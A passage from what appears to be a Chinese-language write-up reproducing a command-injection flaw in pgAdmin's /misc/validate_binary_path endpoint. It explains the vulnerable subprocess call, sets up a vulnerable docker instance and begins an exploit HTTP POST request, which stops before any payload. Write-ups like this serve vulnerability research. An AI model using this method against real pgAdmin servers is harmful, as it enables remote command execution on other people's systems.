https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码
首先从代码层面进行分析
接口 /validate_binary_path
最后调用了 subprocess.getoutput(
来执行了命令
这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe
。同时 windows下恶意的exe文件必须是下面几个文件名之一 ‘pg_dump’, ‘pg_dumpall’, ‘pg_restore’, ‘psql’
linux
可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin
docker pull dpage/pgadmin4:6.16
docker run -e '[email protected]' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:6.16
直接构造发送会提示 The CSRF token is missing.
所以我们先请求路由 login
POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/